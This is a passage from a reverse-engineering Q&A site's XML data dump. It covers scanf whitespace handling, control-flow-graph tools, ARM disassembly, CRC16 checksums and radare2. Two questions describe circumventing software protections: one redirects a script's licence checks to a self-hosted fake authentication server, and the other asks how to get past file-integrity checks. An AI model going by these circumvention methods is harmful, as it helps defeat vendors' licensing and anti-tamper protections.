byte &lt;code&gt;0x00&lt;/code&gt; but &lt;code&gt;\x0b&lt;/code&gt; won't appear. I don't understand why it's not taken into account by scanf. Same goes for &lt;code&gt;0x09&lt;/code&gt; to &lt;code&gt;0x0c&lt;/code&gt;. But &lt;code&gt;0x01&lt;/code&gt; to &lt;code&gt;0x08&lt;/code&gt;, &lt;code&gt;0x0e&lt;/code&gt; and above are working. I'm a bit lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : Reason I'm posting here is because I was in front of a binary, and when I sent him bytes like &lt;code&gt;0x0b&lt;/code&gt;, its behavior wasn't what I expected. I reversed part of it and found that scanf was the bad guy here ... But if you think this is not appropriate for this forum, just tell me I'll move it wherever is more appropriate. Thanks !&lt;/p&gt;&#xA;" OwnerUserId="13108" LastActivityDate="2017-03-02T17:51:20.117" Title="0x09-0x0d not taken into account with scanf" Tags="|disassembly|memory|scanf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10596" PostTypeId="2" ParentId="10595" CreationDate="2015-08-10T09:51:53.857" Score="5" Body="&lt;p&gt;The &lt;code&gt;scanf&lt;/code&gt; function skips over leading whitespace, with whitespace being the set of characters for which the &lt;code&gt;isspace&lt;/code&gt; macro/function returns true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the standard locale, this set of characters consists of &lt;code&gt;\t&lt;/code&gt; (0x09), &lt;code&gt;\n&lt;/code&gt; (0x0a), &lt;code&gt;\v&lt;/code&gt; (0x0b), &lt;code&gt;\f&lt;/code&gt; (0x0c), and &lt;code&gt;\r&lt;/code&gt; (0x0d). And, of course, the blank character (0x20).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-08-10T09:56:23.847" LastActivityDate="2015-08-10T09:56:23.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10597" PostTypeId="5" CreationDate="2015-08-10T13:09:54.570" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-08-10T13:09:54.570" LastActivityDate="2015-08-10T13:09:54.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10598" PostTypeId="4" CreationDate="2015-08-10T13:09:54.570" Score="0" Body="Pin is a dynamic binary instrumentation framework developed by Intel, which can hook and run arbitrary code into running processes, and is pluggable with user-written addons called Pintools. Pin targets the most well-know Intel architectures such as ia32 and amd64." OwnerUserId="13250" LastEditorUserId="53" LastEditDate="2015-08-10T14:12:40.340" LastActivityDate="2015-08-10T14:12:40.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10599" PostTypeId="5" CreationDate="2015-08-10T14:14:56.317" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-10T14:14:56.317" LastActivityDate="2015-08-10T14:14:56.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10600" PostTypeId="4" CreationDate="2015-08-10T14:14:56.317" Score="0" Body="Process of decoding a compressed file to get back to the original one. Some compression software may also include encryption or obfuscation in order to protect their format/algorithm." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-10T14:14:56.317" LastActivityDate="2015-08-10T14:14:56.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10601" PostTypeId="5" CreationDate="2015-08-10T14:16:52.997" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-10T14:16:52.997" LastActivityDate="2015-08-10T14:16:52.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10602" PostTypeId="4" CreationDate="2015-08-10T14:16:52.997" Score="0" Body="Field of computer science involved in the security of software and the prevention of bug exploitation by attackers." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-10T14:16:52.997" LastActivityDate="2015-08-10T14:16:52.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10603" PostTypeId="2" ParentId="6445" CreationDate="2015-08-10T14:29:40.537" Score="4" Body="&lt;p&gt;Elf32 or Elf64?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.cs.cmu.edu/afs/cs/academic/class/15213-f00/docs/elf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF specification&lt;/a&gt;, for Elf32 the section size is stored in 32 bits (&lt;code&gt;Elf32_Word&lt;/code&gt;). So, the maximum size would be 4294967295 bytes (4 GiB).&lt;/p&gt;&#xA;" OwnerUserId="13252" LastEditorUserId="13252" LastEditDate="2017-07-12T09:25:18.473" LastActivityDate="2017-07-12T09:25:18.473" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10604" PostTypeId="1" CreationDate="2015-08-10T14:43:12.563" Score="6" ViewCount="7234" Body="&lt;p&gt;I want to know is there any tools to use assembly file and convert it to an intermediate language such as RREIL and then generate control flow graph from the intermediate language ?&#xA;This is the example my assembly file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7c90e430:   lea 0x10(%esp), %edi    R@edi[0xd38e0500][4](W) T0  A@0x0012fd30[0x00000000][4](R) T0&#xA;7c90e434:   popl  %eax  R@eax[0x0041771b][4](W) T0  M@0x0012fd20[0x7c901166][4](R) T0&#xA;7c90e435:   calll  %eax R@eax[0x7c901166][4](R) T0  M@0x0012fd20[0x7c901166][4](W) T0&#xA;7c901166:   lea 0x10(%esp), %eax    R@eax[0x7c901166][4](W) T0  A@0x0012fd30[0x00000000][4](R) T0&#xA;7c90116a:   movl  %eax, 0x4(%esp)   M@0x0012fd24[0x00000000][4](W) T0   R@eax[0x0012fd30][4](R) T0&#xA;7c90116e:   xor %ebp, %ebp  R@ebp[0x00150748][4](RW) T0 R@ebp[0x00150748][4](R) T0&#xA;7c901170:   jmp 0x7c91b057  J@0x00000000[0x00019ee7][4](R) T0&#xA;7c91b057:   mov %edi, %edi  R@edi[0x0012fd30][4](W) T0  R@edi[0x0012fd30][4](R) T0&#xA;7c91b059:   pushl  %ebp R@ebp[0x00000000][4](R) T0  M@0x0012fd1c[0x00000000][4](W) T0&#xA;7c91b05a:   mov %esp, %ebp  R@ebp[0x00000000][4](W) T0  R@esp[0x0012fd1c][4](R) T0&#xA;7c91b05c:   cmpb  $0x0, 0x7c97b20c  M@0x7c97b20c[0x00000000][1](R) T0   I@0x00000000[0x00000000][1](R) T0&#xA;7c91b063:   jz 0x7c9226ed   J@0x00000000[0x0000768a][4](R) T0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This file is generated after runing a binary in a sandbox so I do not want to convert it to binary and do the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S&lt;/strong&gt;: As I know all of existing tools use binary and do this process while I have an assembly file and want to do this process.&lt;/p&gt;&#xA;" OwnerUserId="13037" LastEditorUserId="13037" LastEditDate="2015-08-11T14:49:00.320" LastActivityDate="2016-04-28T12:19:04.577" Title="How to generate CFG from assembly instructions?" Tags="|assembly|control-flow-graph|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10605" PostTypeId="2" ParentId="10604" CreationDate="2015-08-10T15:08:27.313" Score="8" Body="&lt;p&gt;In fact, you have many of these tools. Mostly, what you seems to need is what is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Symbolic_execution&quot; rel=&quot;noreferrer&quot;&gt;symbolic execution of binary programs&lt;/a&gt; which requires to translate the semantics of the assembly language into an intermediate language to pass it to an SMT-solver that handle bit-vector logic formula (usually Z3). But, beware, not all tools support the translation to an intermediate language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a small sample of such tools (not exhaustive though), given in lexicographic order (to avoid any bias):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bdcht/amoco&quot; rel=&quot;noreferrer&quot;&gt;Amoco&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://angr.io/&quot; rel=&quot;noreferrer&quot;&gt;Angr&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/BinaryAnalysisPlatform/bap&quot; rel=&quot;noreferrer&quot;&gt;Binary Analysis Platform&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/mihaila/bindead/wiki/Home&quot; rel=&quot;noreferrer&quot;&gt;Bindead&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitblaze.cs.berkeley.edu/&quot; rel=&quot;noreferrer&quot;&gt;BitBlaze&lt;/a&gt; (see the &lt;a href=&quot;http://bitblaze.cs.berkeley.edu/fuzzball.html&quot; rel=&quot;noreferrer&quot;&gt;Fuzzball project&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://insight.labri.fr/trac&quot; rel=&quot;noreferrer&quot;&gt;Insight&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cs.ubc.ca/labs/isd/Projects/Kite/&quot; rel=&quot;noreferrer&quot;&gt;Kite&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://klee.github.io/&quot; rel=&quot;noreferrer&quot;&gt;Klee&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forallsecure.com/mayhem.html&quot; rel=&quot;noreferrer&quot;&gt;Mayhem&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/trailofbits/mcsema&quot; rel=&quot;noreferrer&quot;&gt;McSema&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/cea-sec/miasm&quot; rel=&quot;noreferrer&quot;&gt;Miasm2&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/codelion/pathgrind&quot; rel=&quot;noreferrer&quot;&gt;PathGrind&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/feliam/pysymemu&quot; rel=&quot;noreferrer&quot;&gt;PySymEmu&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://s2e.epfl.ch/&quot; rel=&quot;noreferrer&quot;&gt;S2E&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://triton.quarkslab.com/&quot; rel=&quot;noreferrer&quot;&gt;Triton&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will get back to this list if I realize that I forgot some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, concerning the fact that you get assembly code, then just compile it and you will get binary. :-)&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2016-04-28T12:19:04.577" LastActivityDate="2016-04-28T12:19:04.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10607" PostTypeId="2" ParentId="10604" CreationDate="2015-08-10T17:35:18.480" Score="8" Body="&lt;p&gt;I wrote an article on that very topic about 20 years ago.  It's titled &lt;a href=&quot;http://www.drdobbs.com/embedded-systems/assembly-language-control-flow-graphing/184410664&quot; rel=&quot;noreferrer&quot;&gt;Assembly Language Control Flow Graphing&lt;/a&gt; and was published in the September 1998 issue of Dr. Dobb's Journal.  It used Perl to parse the assembly code to generate a Postscript representation of the control flow graph.  That graph then can either be printed or viewed on screen by anything that can render Postscript. It was written for an 8-bit microcontroller that is now obsolete, but the code could be adapted for use with any instruction set. It could also, without much difficulty, be adapted to output SVG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample output from a simple bubble sort in that assembly language looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SJrFN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJrFN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The numbers at the left represent line numbers in the original &lt;code&gt;bubble.asm&lt;/code&gt; file.  Flows toward the bottom are on the right of the vertical line. Flows toward the top are on the left.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2015-08-10T17:35:18.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10609" PostTypeId="1" AcceptedAnswerId="10611" CreationDate="2015-08-11T18:05:30.857" Score="3" ViewCount="817" Body="&lt;p&gt;I'm adapting the &lt;a href=&quot;https://github.com/uxmal/reko&quot; rel=&quot;nofollow&quot;&gt;reko decompiler&lt;/a&gt; to use Capstone for its disassembler, instead of rolling my own. I'm using the .NET bindings provided by &lt;a href=&quot;https://github.com/9ee1/Capstone.NET&quot; rel=&quot;nofollow&quot;&gt;Capstone.NET&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strategy is to replace the old ARM disassembler with the Capstone disassembler and then run the old unit tests to make sure nothing broke. I'm at a point where most test are passing, but the opcode &lt;code&gt;E1F322D1&lt;/code&gt;, which both the old reko disassembler and ODA disassemble to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ldrsb r2, [r3, #33]!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, Capstone responds with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldrsb r2,[r3,#&amp;amp;221]!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't have other disassemblers handy, so I'm uncertain who to trust! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the correct disassembly?&lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="53" LastEditDate="2015-08-11T18:27:03.143" LastActivityDate="2015-08-11T18:27:03.143" Title="What is the correct disassembly for ARM opcode E1F322D1?" Tags="|disassembly|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10610" PostTypeId="2" ParentId="10609" CreationDate="2015-08-11T18:26:25.660" Score="6" Body="&lt;p&gt;From &lt;a href=&quot;http://bear.ces.cwru.edu/eecs_382/ARM7-TDMI-manual-pt2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bear.ces.cwru.edu/eecs_382/ARM7-TDMI-manual-pt2.pdf&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dygTF.png&quot; alt=&quot;LDRSB&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;E1F322D1&lt;/code&gt; equals &lt;code&gt;11100001111100110010001011010001&lt;/code&gt; in binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is specific to the offset, so we can examine the last dozen bits of that binary string with regard to the decomposition rules in the screenshot above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... Offset 1 SH 1 Offset&#xA;...  0010  1 10 1  0001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, the high nibble is &lt;code&gt;0010&lt;/code&gt; and the low nibble is &lt;code&gt;0001&lt;/code&gt;. If we combine them, we get &lt;code&gt;00100001&lt;/code&gt; in binary, or &lt;code&gt;33&lt;/code&gt; in decimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the correct disassembly is &lt;code&gt;ldrsb r2, [r3, #33]!&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-11T18:26:25.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10611" PostTypeId="2" ParentId="10609" CreationDate="2015-08-11T18:26:28.587" Score="3" Body="&lt;p&gt;IDA agrees with the first one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LDRSB           R2, [R3,#33]!&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capstone might be trying to display something like #0x21, which would be equivalent, but it seems that something went wrong.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-08-11T18:26:28.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10612" PostTypeId="2" ParentId="9579" CreationDate="2015-08-11T18:31:58.513" Score="0" Body="&lt;p&gt;Emailed Quynh, a member of the Capstone team. He was more than helpful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compiled from next branch in msvc...msvc2012 is a prereq. works now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you try to build with cygwin you'll receive an error in cs_open (exported by cs.c)&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2015-08-11T18:31:58.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10613" PostTypeId="1" AcceptedAnswerId="10614" CreationDate="2015-08-11T19:06:43.000" Score="4" ViewCount="1343" Body="&lt;p&gt;I have old serial communication protocol and having some trouble finding out about checksum algorithm that has been used. I've tried several CRC16 algorithms and none of them seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tx message format looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start(10B) + messageIndex(1B) + data(5-15B) + checksum(2B) + end(1B) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rx message has same format but only 1 data byte. Here are few examples provided (hash # added to separate the blocks; hexadecimal format):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tx: 82 00 00 00 01 00 00 00 ff c1 # 48 # 56 57 50 41 54 5f 30 5f 31 3d 31 # 7f 12 # 83&#xA;Rx: 82 00 00 00 ff 00 00 00 01 01 # 48 # 4f # cc 68 # 83&#xA;&#xA;Tx: 82 00 00 00 01 00 00 00 ff c1 # 49 # 56 57 50 41 4e 5f 30 5f 32 3d 49 55 30 30 30 # f5 16 # 83&#xA;Rx: 82 00 00 00 ff 00 00 00 01 01 # 49 # 4f # 5c 69 # 83&#xA;&#xA;Tx: 82 00 00 00 01 00 00 00 ff c1 # 4a # 56 57 50 41 54 5f 30 5f 32 3d 31 # b8 1b # 83&#xA;Rx: 82 00 00 00 ff 00 00 00 01 01 # 4a # 4f # ac 69 # 83&#xA;&#xA;Tx: 82 00 00 00 01 00 00 00 ff c1 # 4b # 56 57 41 4b 54 50 4e 5f 30 3d 32 # 60 6f # 83&#xA;Rx: 82 00 00 00 ff 00 00 00 01 01 # 4b # 4f # 3c 68 # 83&#xA;&#xA;Tx: 82 00 00 00 01 00 00 00 ff c1 # 4c # 56 57 50 41 4e 5f 31 5f 31 3d 49 4c 30 30 30 # 6a ec # 83&#xA;Rx: 82 00 00 00 ff 00 00 00 01 01 # 4c # 4f # 0c 6a # 83&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If necessary, I can provide more data. Any help or hint would be appreciated ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&#xA;Zlatko&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; The correct algorithm is regular CRC16 (0x8005 polynom). Thanks booto for correct answer.&lt;/p&gt;&#xA;" OwnerUserId="13263" LastEditorUserId="13263" LastEditDate="2015-08-12T12:51:38.853" LastActivityDate="2015-08-12T13:53:21.827" Title="Finding out checksum algorithm" Tags="|decryption|serial-communication|crc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10614" PostTypeId="2" ParentId="10613" CreationDate="2015-08-12T05:29:25.000" Score="12" Body="&lt;p&gt;It's a &lt;strong&gt;big-endian CRC16&lt;/strong&gt; (polynomial &lt;code&gt;0x8005&lt;/code&gt;) of the data from the byte following the &lt;code&gt;0x82&lt;/code&gt; up to and including the byte before the CRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for your last RX frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;82 00 00 00 ff 00 00 00 01 01 4c 4f 0c 6a 83&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The CRC16 of &lt;code&gt;{0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x01,0x01,0x4c,0x4f}&lt;/code&gt; is &lt;code&gt;0x0c6a&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out this CRC algorithm, I assumed that &lt;code&gt;0x82&lt;/code&gt; was a '&lt;em&gt;Start-of-Frame&lt;/em&gt;' marker and &lt;code&gt;0x83&lt;/code&gt; was an '&lt;em&gt;End-of-Frame&lt;/em&gt;' marker. Then, I plugged the remaining data (sans crc field) into this on-line CRC calculation application and the emitted CRC16 looked correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I, then, checked a few of the other frames you supplied and verified the CRC calculation with other sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, voila...&lt;/p&gt;&#xA;" OwnerUserId="12017" LastEditorUserId="53" LastEditDate="2015-08-12T13:53:21.827" LastActivityDate="2015-08-12T13:53:21.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10616" PostTypeId="1" AcceptedAnswerId="10617" CreationDate="2015-08-12T18:30:59.650" Score="1" ViewCount="153" Body="&lt;p&gt;I'm learning how to work with radare2 tool. While I am stepping through the program (on windows7) radare2 prints some lines which can be seen on the picture. It seems to me as if the tracing is enabled but in configuration variables tracing is disabled. I would like to turn off this printing but don't know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fDLI0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fDLI0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8562" LastActivityDate="2015-08-12T18:47:20.400" Title="Radare2 windows unwanted lines during debugging" Tags="|windows|debugging|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10617" PostTypeId="2" ParentId="10616" CreationDate="2015-08-12T18:47:20.400" Score="4" Body="&lt;p&gt;You're using an outdated version of radare2. The output you're seeing was &lt;a href=&quot;https://github.com/radare/radare2/commit/667cdecd37f46d52391711a472685d5770ebaeca#diff-8dd4041ad59b454a679fa47dd568c942L278&quot; rel=&quot;nofollow noreferrer&quot;&gt;removed from the codebase yesterday&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hic9D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hic9D.png&quot; alt=&quot;Snippet&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you update to the latest version then that output will disappear.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-12T18:47:20.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10618" PostTypeId="1" AcceptedAnswerId="10868" CreationDate="2015-08-12T20:48:37.067" Score="2" ViewCount="2061" Body="&lt;p&gt;Can anyone on here help me on decrypting the SSL encryption that protects this LUA script linked at the end of this topic ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically they are encoded with Base64 then SSL, but I have no idea how to do the SSL portion. They are used with a program called '&lt;em&gt;Bot of Legends&lt;/em&gt;', and someone told me that it is possible to break the encryption by dumping the decryption function of said program and using that to get the SSL key. But, I have no clue where to even start on that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, these scripts work by connecting to an authentication server that is coded into the script, and I have gotten a few on my own by sniffing the traffic to their authentication server from network packets to get their server link and essentially created my own authentication server with Apache, then redirected the network traffic that goes to their server to my own from the script to get the script validated response. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some scripts that have stronger encryption, its not that easy and I would have to get to the source code to remove the coding that runs the authentication server checks. Up until a few days ago I had no knowledge on how lua coding worked and how to even compute how authentication server checks could be even possible for coding in a simple text file due to lua obfuscation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, bear with me, I would like if someone can chime in and give me an idea on what I can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/raw.php?i=bG0VqQGW&quot; rel=&quot;nofollow&quot;&gt;PasteBin to the script in question in raw format&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Base64 section is first with the SSL section at the bottom.&lt;/p&gt;&#xA;" OwnerUserId="13270" LastEditorUserId="13270" LastEditDate="2015-08-13T11:27:51.120" LastActivityDate="2019-04-14T14:24:55.677" Title="Assistance in Decrypting Lua script that is obfuscated with Base64 &gt; SSL" Tags="|decompilation|encryption|deobfuscation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10619" PostTypeId="1" CreationDate="2015-08-12T22:34:16.793" Score="0" ViewCount="50" Body="&lt;p&gt;I'm working with a relatively well secured program. In addition to memory validation checks during run time, the actual file integrity is checked at start. Both checks are synced with the server and I've gotten past the run time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could just automatically write to the process once it's open, but just for fun I'd like to be able to actually hex edit the file. I'm not really sure where to start. I can provide that the program was written in C++ with a somewhat older version of Visual Studio. I'm sure many of the people on here have dealt with something similar, so could I have a general pointer as to where to start (e.g. how it's likely getting the data, if needed, or some windows function)?&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2015-08-12T22:34:16.793" Title="Means of generating file hashes" Tags="|c++|memory|hex|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10620" PostTypeId="2" ParentId="9578" CreationDate="2015-08-13T06:03:37.967" Score="0" Body="&lt;p&gt;I came across this via manual inspection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of treating the data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct record {&#xA;  uint16_t csum;  // 01f4&#xA;  uint32_t data; // 84290145h&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;treat it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct record {&#xA;  uint8_t csum;    // 0xf4&#xA;  uint8_t data[5]; // { 0x01, 0x84, 0x29, 0x01, 0x45 }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To calculate the checksum, just do a simple modulo-256 summation of the data bytes. This works out fine for the values you've included in your question.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2015-08-13T06:03:37.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10621" PostTypeId="1" CreationDate="2015-08-13T07:51:00.297" Score="3" ViewCount="821" Body="&lt;p&gt;Sometimes by reversing I find several functions &lt;strong&gt;within the same binary file&lt;/strong&gt; which look suspiciously similar. Is there a plugin/script to quickly compare them and see their differences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I'm aware of the myriad of tools for doing binary diffing between two different binaries, for example for doing patch diffing . &lt;em&gt;This is not what I am looking for&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="2147" LastEditDate="2018-10-02T20:02:23.113" LastActivityDate="2018-10-02T20:02:23.113" Title="IDA Plugin to diff functions within the same binary" Tags="|bin-diffing|ida-plugin|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10623" PostTypeId="1" AcceptedAnswerId="10632" CreationDate="2015-08-14T10:49:27.890" Score="1" ViewCount="654" Body="&lt;p&gt;I am working on a mipsel binary in IDA Pro and I'm having some issues with renaming subroutines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the subroutine &quot;system&quot; at 0x739644. I renamed this using the N hotkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tygoT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tygoT.png&quot; alt=&quot;Subroutine renamed as system&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I hit X, some of the xrefs have been replaced:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XjQKX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XjQKX.png&quot; alt=&quot;JALR is fine&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the JALR instructions are fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, sometimes subroutines are called like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nDKYK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nDKYK.png&quot; alt=&quot;Alternative call&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, sometimes the reference has been renamed and sometimes it hasn't. They all show up in xrefs though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VgSMC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img 